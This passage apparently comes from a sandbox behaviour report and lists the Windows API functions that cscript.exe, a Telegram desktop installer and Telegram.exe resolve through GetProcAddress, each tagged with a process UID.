GetFileVersionInfoSizeExW (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006908) "cscript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006908) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007176) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoAddRefServerProcess (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoReleaseServerProcess (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoResumeClassObjects (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CoSuspendClassObjects (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter WTSRegisterSessionNotification (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DrawThemeTextEx (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SHPathPrepareForWriteW (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter TaskDialogIndirect (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetSystemWow64DirectoryA (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter RegDeleteKeyExA (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetMachineTypeAttributes (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter IsWow64GuestMachineSupported (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SHCreateItemFromParsingName (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DisableProcessWindowsGhosting (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonDestroy (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonCreate (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundExtent (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter ChangeWindowMessageFilterEx (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter MonitorFromRect (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter DwmExtendFrameIntoClientArea (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter ImmAssociateContextEx (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetSystemWow64DirectoryW (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter RmStartSession (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter RmRegisterResources (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter RmGetList (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter RmShutdown (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter RmRestart (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter RmEndSession (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetWindowDpiAwarenessContext (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter AreDpiAwarenessContextsEqual (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SHAutoComplete (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter GetDiskFreeSpaceExW (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter SfcIsFileProtected (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter WTSUnRegisterSessionNotification (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetProcAddress" with a parameter BufferedPaintUnInit (UID: 00000000-00007736) "Telegram.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter WSANtohl (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter WSANtohs (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter CertOpenSystemStoreW (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter CertFindCertificateInStore (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter SetForegroundWindow (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter SetFocus (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter timeKillEvent (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter ScreenToClient (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter ClientToScreen (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter GetKeyState (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter TrackMouseEvent (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter SetCursor (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter GetFocus (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter GetKeyboardState (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter ToUnicode (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter WebAuthNIsUserVerifyingPlatformAuthenticatorAvailable (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter WebAuthNAuthenticatorMakeCredential (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter WebAuthNFreeCredentialAttestation (UID: 00000000-00002316) "Telegram.exe" called "GetProcAddress" with a parameter 